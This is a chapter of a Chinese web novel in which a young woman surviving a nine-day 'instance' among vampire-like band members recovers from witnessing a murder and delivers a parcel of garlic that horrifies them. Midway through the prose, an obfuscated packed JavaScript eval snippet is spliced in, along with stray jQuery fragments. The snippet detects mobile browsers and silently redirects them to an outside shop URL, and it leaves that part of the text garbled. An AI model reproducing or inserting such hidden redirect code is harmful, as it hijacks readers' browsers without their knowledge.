林望水着实没想到会遇到这种凶杀现场,尽管被伊斯拉安慰了一番,内心还是残存着后怕。回去后她只想着早点上床休息,虽然这群人有些奇奇怪怪的,但是总比外面的杀人犯要安全得多。
而且,现在赚了点钱。N虽然不在,但是手机已经转入了今日的酬劳。她之前有一点想法,可以去看一下小区有没有空置出租的房子然后搬出去住。
但是她又想到外面隐藏的杀人犯,总觉得待在宿舍可能会更加安全一点。
她苦恼地思考着,进洗手间洗漱。
洗手间的门是开着的,盥洗盆前站着一个人。他微垂着头正在慢条斯理地洗手,水龙头里的水溅在陶瓷盆底发出“哗啦”的水声。
林望水站住,等待着他先用完。
再一眨眼,盥洗盆面前的人抬起了头,注视着镜面,和她从镜中对上了视线。
是利安。
回来的时候没注意洗手间里的情况,还以为利安不在。原来他是在这里。
她颔首示意,移开视线,手里拢了下自己抱着的衣物,等待着他洗完手出来。
利安关闭了水龙头,用洗手布擦拭双手,转身朝门口走过来。林望水适时地后退一小步,让开更多通行的位置。
他却在她的面前站定住脚步,低垂着眉眼看她。
林望水有些惊讶地抬眼看过去,撞上他对着她脸颊逡巡的视线。从她的额头渐次地扫到了眉头、眼睛、脸颊肉,最后是她的唇。
她微微地侧过头,下意识地用手似掩似挡地摸了下她的唇,上面什么都没有。可是他的目光像是在看什么别的东西一样,强烈地落在这里,让她怀疑她的唇上是不是多了什么奇怪的东西。
“怎么了?”
她忍了一会儿,忍不住出声问。
“你……”利安的视线从她的唇上移开,落到了她的眼睛上。他的神色很淡,眸子却黑得凝结如实质。“你回来的时候遇到什么了吗?”
?
林望水没想到他会问这个。她并没有表现出什么能够让人猜测出不同的状态吧?
他是怎么看出来的……
也对,小区里有一个人被杀,知情是理所当然的。
刚才和伊斯拉回来的时候被里斯几个人刨根问底地问为什么会和伊斯拉一起回来,也提到了那个死去的男人。利安在洗手间可能听到了一点他们说的话。
“没什么,就是撞见了一个被人杀害的男人。我还差点被凶手追上。”利安在关心她,她不想也没必要隐瞒。
再次提起不久前的遭遇,林望水的身体条件反射地瑟缩了一下,似乎仍处于那种令人惊恐的氛围当中,挥之不去。
“很可怜。”利安看着她说。
他这句话像是一句客气的寒暄,林望水只能干巴巴应了声“嗯”。紧接着听见他没有停顿地接着说话,盖住了她回应的声音,“然后呢?”
“然后我遇到了伊斯拉,他安慰了我,和我一起回来。”林望水提起伊斯拉的时候面容上放松了一点,同时流露出些微的感激与依赖。
“很好。”利安仍旧看着她,脸上没什么表情。“这么说你是幸运的。请用洗手间吧。”他侧开身体,给林望水让开位置。
直到她进去关上门后才听到利安离开走动的声音。
她对着镜子打量自己,这才发现她的唇比以往都要红润,上面完好无损,但是有一点齿印的痕迹,应该是她不自觉咬唇导致的。
洗漱完毕上床经过其余几个床位时,里斯再次想要对她进行盘问,“你和伊斯拉竟然有独处的机会?你们没有干别的什么事情吧?”
别的什么事情?
林望往上爬上床,想要结束话题:“并没有,请不要再问了。伊斯拉只是安慰我而已。”
她握住楼梯的台阶扶手,想要上去,爬到一半,一只手从下铺伸出来,一把抓住了她的脚踝,吓了她一跳,手险些松开,又紧紧地重新握住。
她低头望去。“迈、迈尔斯?”
迈尔斯穿着一件少布料的背心,双腿大剌剌地摆放在床铺上,朝她说:“放心,如果你摔下来我会接住你的。我只是想知道,你现在身体状况还好吗?”
“嗯,还好。”林望水有些紧张地说,“可以放开我吗?”
“当然。”迈尔斯放开她的手,和里斯对视一眼。
林望水没有再去看他和其他人,钻进了床铺里,把床帘严密地拉好,然后闭上眼睡觉。
实在没有精力去应付这些人的问话了。
醒来的时候,林望水再次看了眼手机的日期,今天是7月15日,是第三天,过完这天,代表她已经度过了系统所说的要在这个副本生存9天中的三分之一。
她在上班时间来到酒吧,服务生爷爷告知她有一个快递放在了前台需要她查收。
竟然会收到快递。
她来到前台,一个用纸箱包裹着的快递端放在台面上。托着快递箱底部,有一些重量。她似乎闻到了一股特别的味道,像是某种用做佐料的食材,夹杂着微微的辛辣。
林望水看向纸箱上面贴着的快递单,收件人是伊斯拉,不是她。
她就说嘛,她在这个世界里没有什么朋友,手机里的信息只有N给她发过,怎么可能有人会寄快递给她。如果是伊斯拉的话就合理了。
伊斯拉好像是在排练室。她抱起纸箱,朝排练室走。
礼貌地敲击了三下后,林望水推开了排练室的门。里面正在练习的几个男人都转过头看向她,她的目光转了一圈,放在了伊斯拉的身上。
“伊斯拉,这里有你的快递。”
伊斯拉闻言放下了手中的乐器,迈开长腿走过来。
“我的?”
他似乎也没想到会有快递,语气中含着微弱的疑惑。
“对,是你的。”
林望水走几步上前,把手中的纸箱交接过去。
里斯手里放下麦克风,吊儿郎当地靠近。“我还以为你是来找我的呢,亲爱的,结果是为了给伊斯拉送一个小小的快递。真让人失望。这是什么?”
林望水抱着这个纸箱手有点酸,小幅度地按着自己的手,听见里斯的话有些认真地说:“如果之后有你的快递,我也会送过来的,你不用担心。”
里斯似乎是愣了下,然后笑出声。
“好吧。如果这样的话我希望天天都收到快递。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746283|209304||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
利安不知道何时走到了她的身边,趁他们都围着伊斯拉的快递看,伸出手握住她的小臂。
“欸?”
林望水抬起眼,完全没有反应过来。只见利安垂着眼,手指轻揉着她的手臂,一副专注的模样。
“你……”
“我在替你揉手臂。”利安淡声地说。
“我知道。”林望水松开了自己的手,任由他对着她的手臂揉弄。他的回复完全不用他说,她能看得出他正在做什么。“我想说的是不用麻烦你,我自己可以。”
“不喜欢?”
利安握住她手臂的指尖顿住,抬起眼皮看她。
“不、不是。”林望水想要摆手,那只手却被利安握在掌心中,纹丝不动。
怎么扯到喜不喜欢上了,根本不是什么喜不喜欢这回事吧。她只是觉得会麻烦别人而已。
她没来得及说出口,就听见身旁传来东西摔落在地面上的声音。她顺着声音转过头去,看见伊斯拉、里斯、迈尔斯和欧文的脸色十分怪异,正盯着摔在地面的东西看。
地上是那个纸箱,以及从里面倾倒出来的东西。
是——大蒜。
一大堆白色表皮的整蒜堆积在一块,像是一个小丘陵,因为被摔落,所以蔓延出一片。空气中逐渐地染上了蒜味。
伊斯拉的脸色尤其难看。
他们朝林望水这边走过来,利安松开了握着她的手。
欧文凑近林望水,深深地吸了口气,然后再吐出一口气,像是要通过吸收新鲜的空气,把刚才闻到的通通排出去,可惜那股蒜味已经经过了肺腑,留下的恶心气味还在。
只能不断地嗅闻甜美的气味,再度经过肺腑,净化自己的胸腔。
“该死,是谁送的?”里斯咒骂道,“竟然送这种东西过来。”
“是伊斯拉的仇家?”欧文试探地猜测。
“我没有仇家。”伊斯拉的声音听不出情绪,平铺直叙道。
迈尔斯抱着双臂:“以前没有,不代表现在没有。”
利安的视线从那堆东西上移开,开口道:“或许我们应该先找人处理一下。可真够难闻的。”
“……我来吧。”林望水往那边走开一步。“我收到这个快递的时候并没有看到是谁送的。可能是恶作剧。”
看他们一致地如此讨厌大蒜,她觉得有些新奇。
她对大蒜倒是接受良好,不会觉得恶心,更何况是没有放入食物中的大蒜。
“不。”伊斯拉拦住她,“我会找别人来收,不用你去,我不想让你沾到这种气味。”
很快地,几个人离开了排练室,换到了另一个备用的训练房间。
伊斯拉找了别人来处理排练室里的大蒜。
林望水见事情解决地差不多了,就继续前往酒吧前面点单服务。时间来到了晚上10点,乐队的几个人在收拾音响乐器,她收好杂物后站在走廊,犹豫着要不要现在回去。
她怕再次遇到昨晚的情况。
犹豫间,身体突然涌上来一股熟悉的灼热,几乎要将她烧晕。
她扶住一旁的墙壁,勉强站稳。
这种感觉怎么又来了?